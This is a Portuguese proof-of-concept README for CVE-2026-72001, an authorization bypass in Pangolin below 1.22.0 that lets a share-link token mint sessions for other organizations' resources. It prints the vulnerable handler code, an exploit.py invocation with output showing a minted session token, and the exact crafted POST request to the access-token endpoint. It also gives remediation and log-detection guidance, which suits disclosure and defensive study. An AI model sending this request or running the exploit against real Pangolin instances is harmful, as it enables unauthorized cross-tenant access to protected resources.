PoC para CVE-2026-72001 — Pangolin < 1.22.0, bypass de autenticação de recursos entre organizações através do endpoint de token de acesso de link de compartilhamento (CWE-639, CVSS 8.1).
Prova de conceito para CVE-2026-72001, uma falha de autorização em nível de objeto quebrado no
Pangolin (< 1.22.0) que permite ao detentor de um
link de compartilhamento de recurso gerar uma sessão de recurso válida para qualquer outro recurso na
instância, incluindo recursos pertencentes a uma organização diferente, contornando todos os
métodos de autenticação configurados (SSO, senha de recurso, PIN, lista de permissões de e-mail, autenticação por cabeçalho).
| CVE | CVE-2026-72001 |
| Produto | fosrl/pangolin |
| Afetado | < 1.22.0 |
| Corrigido | 1.22.0 |
| Classe | Bypass de Autorização por Chave Controlada pelo Usuário (CWE-639) |
| CVSS 3.1 | 8.1 (ALTO) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Autenticação | O atacante precisa apenas de um token de link de compartilhamento válido para qualquer recurso |
| Veredito | CONFIRMADO VULNERÁVEL (ponta a ponta, aplicação badger valid:true) |
O endpoint de autenticação por link de compartilhamento POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) possui dois ramos. Quando a requisição
carrega um accessTokenId, ele valida o token mas esquece de vincular essa verificação ao
recurso na URL:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken só aplica a vinculação ao recurso se receber resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Como o handler nunca repassa resourceId, a proteção é ignorada: o token é
validado em relação ao seu próprio recurso, enquanto a sessão é gerada para o recurso nomeado
na URL. Uma sessão (token de requisição badger) para o recurso vítima é então criada:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
A rota reside no roteador não autenticado (unauthenticated.use("/auth", authRouter))
e não possui limitação de taxa (diferente das rotas irmãs de autenticação por senha/pincode/whitelist).
O middleware CSRF apenas verifica um cabeçalho constante estático (X-CSRF-Token: x-csrf-protection).
Correção (1.22.0): o handler repassa resourceId para verifyResourceAccessToken, de modo que a
proteção de incompatibilidade é acionada e requisições entre recursos retornam 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
A única requisição vulnerável é:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access adicionalmente troca o token de requisição retornado no endpoint de
aplicação badger (/badger/exchange-session → /badger/verify-session) — o mesmo caminho
que o Traefik consulta — para provar acesso real, não apenas uma string retornada. Em uma implantação ativa, o
atacante simplesmente apresenta o token de requisição ao recurso e o Traefik/badger o troca automaticamente.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
Veja lab/setup.sh, ANALYSIS.md e
evidence/ para o passo a passo completo e a fronteira entre vulnerável e corrigido.
Em qualquer instância Pangolin multi-inquilino / multi-organização (auto-hospedada com várias organizações, MSP, ou uma implantação hospedada), um ator que consiga obter um único link de compartilhamento — um que lhe foi legitimamente concedido, um que vazou, ou um que ele mesmo emite em qualquer recurso que controla — lê e age como qualquer recurso protegido de outro inquilino. A confidencialidade e a integridade de todo recurso protegido na instância são comprometidas (CVSS C:H/I:H).
Atualize para Pangolin ≥ 1.22.0. A correção vincula a verificação do token de acesso ao id do recurso da URL. Nenhuma solução de configuração mitiga completamente < 1.22.0; restrinja a emissão de links de compartilhamento de recursos e rotacione os tokens de acesso existentes após a atualização.
Procure por POST /api/v1/auth/resource/<id>/access-token onde o accessTokenId apresentado
pertence a um recurso cujo id ≠ <id> (uso de token entre recursos), e por requisições de autenticação
por token de acesso chegando em alto volume (a rota não é limitada). As entradas de logAccessAudit
mostrarão uma ação accessToken cuja organização do token difere da organização do recurso.
Descoberto / analisado e PoC por BiiTts (Caio Fabrício). Vulnerabilidade reportada pela VulnCheck; aviso: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.